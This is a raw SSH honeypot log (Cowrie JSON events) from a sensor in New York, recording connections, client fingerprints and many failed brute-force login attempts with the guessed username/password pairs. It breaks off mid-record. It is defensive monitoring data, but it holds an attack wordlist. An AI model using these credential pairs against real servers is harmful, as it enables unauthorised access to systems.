{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:30.236521Z","src_ip":"92.118.39.92","session":"99f20c66c85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adams1","message":"login attempt [admin/adams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:31.087270Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"adamant","message":"login attempt [admin/adamant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:32.188118Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:23:33.290796Z","src_ip":"2.57.121.112","session":"34708a763c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48254,"dst_ip":"10.17.0.5","dst_port":22,"session":"24cdeba63fc9","protocol":"ssh","message":"New connection: 195.178.110.218:48254 (10.17.0.5:22) [session: 24cdeba63fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:36.302593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:36.307380Z","src_ip":"195.178.110.218","session":"24cdeba63fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:36.387250Z","src_ip":"195.178.110.218","session":"24cdeba63fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:36.629093Z","src_ip":"195.178.110.218","session":"24cdeba63fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:37.710640Z","src_ip":"195.178.110.218","session":"24cdeba63fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42552,"dst_ip":"10.17.0.5","dst_port":22,"session":"297f82df5055","protocol":"ssh","message":"New connection: 80.94.92.184:42552 (10.17.0.5:22) [session: 297f82df5055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:56.468768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:56.621455Z","src_ip":"80.94.92.184","session":"297f82df5055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:56.625221Z","src_ip":"80.94.92.184","session":"297f82df5055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:58.293593Z","src_ip":"80.94.92.184","session":"297f82df5055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":26433,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca998da3fb4","protocol":"ssh","message":"New connection: 2.57.121.25:26433 (10.17.0.5:22) [session: 2ca998da3fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:59.330150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:59.334754Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:59.428906Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:59.609957Z","src_ip":"80.94.92.184","session":"297f82df5055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1406","message":"login attempt [user/1406] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:24:59.884660Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14041993","message":"login attempt [user/14041993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:00.980509Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14041976","message":"login attempt [user/14041976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:02.079703Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031980","message":"login attempt [user/14031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:03.179423Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031978","message":"login attempt [user/14031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:04.276138Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:05.374070Z","src_ip":"2.57.121.25","session":"2ca998da3fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":50854,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bfb64c707c4","protocol":"ssh","message":"New connection: 92.118.39.72:50854 (159.203.135.109:22) [session: 0bfb64c707c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:17.733081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:17.737430Z","src_ip":"92.118.39.72","session":"0bfb64c707c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:17.851584Z","src_ip":"92.118.39.72","session":"0bfb64c707c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:18.205929Z","src_ip":"92.118.39.72","session":"0bfb64c707c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:19.313486Z","src_ip":"92.118.39.72","session":"0bfb64c707c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50936,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c80e569b15e","protocol":"ssh","message":"New connection: 92.118.39.92:50936 (159.203.135.109:22) [session: 0c80e569b15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:44.489441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:44.493472Z","src_ip":"92.118.39.92","session":"0c80e569b15e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:44.592405Z","src_ip":"92.118.39.92","session":"0c80e569b15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegramapi","password":"telegramapi","message":"login attempt [telegramapi/telegramapi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:45.043609Z","src_ip":"92.118.39.92","session":"0c80e569b15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:46.177121Z","src_ip":"92.118.39.92","session":"0c80e569b15e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":59112,"dst_ip":"159.203.135.109","dst_port":22,"session":"05560d82382e","protocol":"ssh","message":"New connection: 157.10.160.98:59112 (159.203.135.109:22) [session: 05560d82382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:56.459764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:56.464735Z","src_ip":"157.10.160.98","session":"05560d82382e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:56.713758Z","src_ip":"157.10.160.98","session":"05560d82382e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1@123456","message":"login attempt [dev1/dev1@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:57.743003Z","src_ip":"157.10.160.98","session":"05560d82382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:25:58.994806Z","src_ip":"157.10.160.98","session":"05560d82382e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35554,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb772db66154","protocol":"ssh","message":"New connection: 2.57.121.25:35554 (159.203.135.109:22) [session: fb772db66154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:10.604248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:10.608562Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:10.707295Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1406","message":"login attempt [user/1406] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:11.177337Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14041993","message":"login attempt [user/14041993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:12.277541Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14041976","message":"login attempt [user/14041976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:13.378284Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031980","message":"login attempt [user/14031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:14.479686Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14031978","message":"login attempt [user/14031978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:15.581968Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:26:16.682937Z","src_ip":"2.57.121.25","session":"fb772db66154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51952,"dst_ip":"10.17.0.5","dst_port":22,"session":"52d3c09fcf45","protocol":"ssh","message":"New connection: 195.178.110.218:51952 (10.17.0.5:22) [session: 52d3c09fcf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:06.078408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:06.082963Z","src_ip":"195.178.110.218","session":"52d3c09fcf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nis